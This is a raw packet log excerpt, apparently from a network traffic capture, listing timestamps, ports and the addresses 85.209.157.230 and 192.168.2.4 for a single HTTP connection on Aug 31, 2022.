Aug 31, 2022 14:28:35.806597948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806622028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806622982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806647062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806668997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806691885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806721926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806725025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806737900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806772947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806803942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806828022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806828022 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806844950 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806889057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806912899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806935072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806951046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806957960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806972027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806976080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807079077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807104111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807125092 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807126999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807151079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807168007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807204962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807226896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807250023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807269096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807274103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807296991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807300091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807321072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807343960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807369947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807396889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807420969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807440996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807449102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807462931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807480097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807518005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807555914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807564974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807889938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807915926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807940006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807943106 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.807965994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.807997942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808015108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808021069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808041096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808046103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808068991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808092117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808108091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808116913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808137894 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808140039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808162928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808186054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808204889 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808207989 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808227062 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808238029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808279991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808296919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808317900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808382988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808444023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808473110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808495045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808511972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808516026 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808535099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808576107 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808577061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808600903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808624029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808645010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808654070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808684111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808703899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808708906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808732033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808753014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808756113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808800936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808825016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808847904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.808850050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808859110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.808865070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809715986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809742928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809777021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809802055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809825897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809837103 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.809843063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.809849024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809873104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809904099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809926987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.809930086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.809952021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809976101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.809998035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810023069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810046911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810065985 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810070038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810084105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810110092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810113907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810133934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810149908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810173035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810190916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810197115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810250044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810250998 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810273886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810292006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810317039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810340881 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810343027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810451984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810481071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810494900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810503006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810535908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810565948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810605049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810606003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810610056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810663939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810707092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810741901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810744047 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810776949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810798883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810832024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810847998 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810864925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810897112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810915947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810929060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810962915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.810977936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.810993910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811022997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811049938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811080933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811095953 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811100006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811116934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811147928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811180115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811184883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811187983 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811209917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811242104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811276913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811306000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811316967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811321020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811336994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811388016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811466932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.811888933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811916113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811939001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811963081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.811986923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812000990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812007904 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812010050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812035084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812058926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812082052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812103033 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812107086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812108040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812130928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812155008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812180996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812203884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812207937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812211037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812227964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812251091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812274933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812294006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812295914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812299967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812407017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812433004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812455893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812469959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812480927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812552929 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812596083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812621117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812644958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812668085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812691927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812699080 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812705994 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812716007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812738895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812762976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812771082 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812787056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812810898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812820911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812825918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.812828064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812916994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812968969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.812985897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813000917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813015938 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813023090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813040018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813055992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813066959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813072920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813092947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813112974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813129902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813147068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813162088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813178062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813194036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813209057 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813215017 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813220978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813220978 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813257933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813272953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813297987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813321114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813338041 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813349009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813781977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813798904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813815117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813862085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813906908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813924074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.813946009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.813992977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814023018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814088106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814105034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814120054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814142942 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814152956 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814156055 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814183950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814201117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814215899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814230919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814243078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814246893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814261913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814275980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814286947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814302921 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814306974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814450979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814467907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814482927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814497948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814510107 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814527988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814671040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814687967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814732075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814740896 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814749956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814764977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814780951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814796925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814807892 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814811945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814815044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814830065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814845085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814855099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814882040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814888954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.814902067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814970016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.814986944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815001965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815020084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815032959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815038919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815043926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815054893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815093994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815097094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815099955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815113068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815136909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815152884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815166950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815181971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815196991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815196991 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815202951 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815212965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815248966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815256119 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815260887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815265894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815290928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815316916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815382957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815529108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815543890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815558910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815577030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815593004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815606117 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815610886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.815623045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.815634966 CEST	49726	80	192.168.2.4	85.209.157.230
